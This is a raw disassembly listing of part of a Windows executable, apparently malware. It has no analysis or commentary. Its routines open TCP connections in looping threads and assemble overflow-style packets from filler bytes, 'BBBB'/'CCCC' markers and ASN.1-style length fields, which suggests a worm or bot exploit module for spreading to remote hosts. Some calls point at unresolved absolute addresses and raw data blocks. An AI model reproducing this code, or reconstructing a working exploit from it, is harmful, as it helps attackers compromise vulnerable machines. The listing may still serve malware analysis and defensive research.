		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		call	near ptr 2670859h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		call	near ptr 26D07DEh
		nop


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B8C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 11E85757h, 90022639h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0A1E890FCh,	0FF022441h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 26381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 22440B0h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8E8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C40
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FC4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C4C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FB8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FB4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FA4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431F9F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CDC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D0C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C54
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D18
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
